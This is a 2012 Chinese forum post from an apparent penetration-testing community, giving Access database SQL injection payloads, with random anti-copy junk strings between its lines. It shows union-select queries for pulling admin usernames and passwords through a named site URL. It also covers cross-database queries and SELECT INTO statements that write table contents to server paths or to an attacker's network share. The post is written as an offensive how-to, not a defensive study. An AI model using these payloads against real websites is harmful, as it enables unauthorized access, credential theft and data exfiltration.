中国网络渗透测试联盟
标题:
Access高级注入语句
[打印本页]
作者:
admin
时间:
2012-9-15 14:20
标题:
Access高级注入语句
--------------------------------------------------------------
& R# ~ F7 x8 q0 W
union查询法
: b9 s0 a5 ~- h& I; n
首先要说的就是查询办法,一般的查询办法就是
/ O) _ m1 t8 Y+ s6 R
/ O+ f/ r! q5 D: K ?
程序代码
$ V# _, t# k$ ^) g0 b
and 1=(select count(*) from admin where left(id,1)='1')
: G, ] ^3 x4 H' z7 f
0 ]3 i- h% N: _: \
这样开始判断了...就算你使用各种各样的工具,也是一个个字的去猜去判断对不对,不对再换一个.这样的坏处显而易见,慢. 特别是在猜测经过32位MD5加密过的段的时候...基本上你可以去泡壶茶再喝一杯.
$ `* b i: _2 g7 V/ L) W+ b5 K
所以这个时候,union select横空出现.别以为只能在PHP里用哦...
- m9 k- g$ s7 z7 T0 z1 }% \( g+ m p
譬如你有一个ACCESS点:
; v/ L8 c6 t9 C& f$ b4 G# N# W$ U
程序代码
2 _& r" a6 h) o+ g. a
http://bbs.tian6.com/xiaoyang.asp?coder=1
# e8 C* x9 C/ s3 n/ f' k1 s+ `
W* E( S7 y/ |3 L2 z! r
知道存在admin表(你当然可以拿个工具先快速猜出表和字段来),
) W6 f! e2 W( S$ ]3 j
然后我们直接来:
' w* Z, M& C, p" N
程序代码
) r i" `7 a2 V2 @
http://bbs.tian6.com/xiaoyang.asp?coder=1
union select 1,2,3,4,5,6..... from admin [where coderx=1(如果有限制查询条件)]
7 c9 V/ O# ?8 V6 ~
; u* H1 F7 _" g
这里从1开始加到回显正常为止.然后替换URL里相应在页面出现的1~X为password,username之类的东西,就可以直接暴内容了.多方便,多快捷.茶可以先放放,凉一些再来喝了.
$ B0 T& V- i u3 u( [
! R+ _ U7 |8 k% m+ h
3 s3 v% p4 `% I( X
: F) B) z5 c. y% L0 J* k* ^& q/ P
---------------------------------------------------------------
3 m0 D; H3 V: i2 I) t' o2 w
Access跨库查询
6 n, B; y7 o$ x2 p
有时候某个网站服务器上有两个以上系统,你发现其中一个有ACCESS注入点,但是后台没法提权,另外一个系统没有注入点,但是后台却有你需要的功能.那么这个时候,跨库来了.当然,你还可以用来MDB溢出,渗透的过程等等.他的作用往往是意想不到的.
( {( g3 c4 p: e9 ? F, q5 Z
跨库的查询语句:
2 A! S* p1 l: u' _( n# P( g
子查询:
; j5 ^& t: S4 J7 ?4 p
程序代码
0 N& P+ r! l2 R# S
and (Select Count(*) from [D:\tianyang\backdoor\xiaoyang.mdb].test)>0
1 Q* z4 X: |8 w
4 X+ L+ B8 ~/ V- K- S
union查询:
; }3 R1 k+ P, g K9 n# [
程序代码
& y' y% ?5 b+ ^. w: q
union select 1,2,3,4.... from admin in "D:\xioatianyang\okok.asa" where id=1
) y+ B, E/ ~5 B7 O+ d# n
3 z& O; l* i1 k
跨库的作用当然不只这些了,大伙继续发挥吧..这里提供两篇参考过的文章连接:
( G. [3 b! C+ t) s+ ~
程序代码
1 d# N$ C) W1 o) ?1 t
http://www.4ngel.net/article/46.htm
; y1 W& J6 y. E# U9 P
http://hf110.com/Article/hack/rqsl/200502/66.html
2 @4 U8 s& m( m# p
) @$ E2 P% ?7 ]3 M
---------------------------------------------------------------
" A/ y% E3 Q, r* c' H# b/ C5 P
Access注入,导出txt,htm,html
+ R4 n$ L) U' n4 T
子查询语句:
" y, k( g, t% X4 A
程序代码
' u4 j0 u* s6 C* k5 J! U# n
Select * into [test.txt] in 'd:\web\' 'text;' from admin
# w# }" }$ W) o: M% @% S% ]: x) f1 ?
) D8 l/ z5 O7 r3 f; G, p; s& h
这样就把admin表的内容以test类型存进了d:\web里面.
1 m3 g$ C8 ~$ M8 f3 l6 K
UNION查询:
9 M4 d0 P: ^1 T6 ]( a2 h1 ]: @
程序代码
% c. n ]3 ^: j1 P/ W) B8 J
union select * into [admin.txt] in 'c:\' 'test;' from admin
9 z3 j0 L" k( M6 R% K
I8 _) g5 N7 [6 N `- D7 Z. y! ~
而且这里也可以保存到本地来:
$ P: r8 h7 P! X; S) f
程序代码
) [) C0 O$ c3 c3 @: [
Select * into [test.txt] in '\\yourip\share' 'text;' from admin
, w" }% U; L3 ?+ Q
8 X3 m9 |. `7 ^: n: ]8 F* c/ O
不过,很多人包括我自己测试,本机数据库来操作是没问题的,但是一旦在注入点上,子查询会回显没有权限,union会回显动作查询不能作为行的来源.可以说还是个难题...原因大概是UNION只适用查询结合,UNION后面不能跟动作.和这个内容相关的,本论坛已有一帖:
. B5 U; ^$ v1 B6 Y
0 R( ?% R; h, y4 D! u2 H$ E
程序代码
* m4 Y$ G" i. s) M
http://bbs.tian6.com/viewthread.php?tid=3016&extra=page%3D7
" v; d( Z, ]' i
3 k7 v. a) F$ h b% k" w
因为网上有许多和这相关的资料,所以我还是把他引进来了.如果一旦这方法运用成功的话,理论上我们只要知道表名,不需要知道段名,就可以看到该表所有内容了.或者我们可以建.php.tianyang asp.asp之类的文件或者目录来导进文件~还是会很强大的.
- c5 i/ j& X7 c- N9 d
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2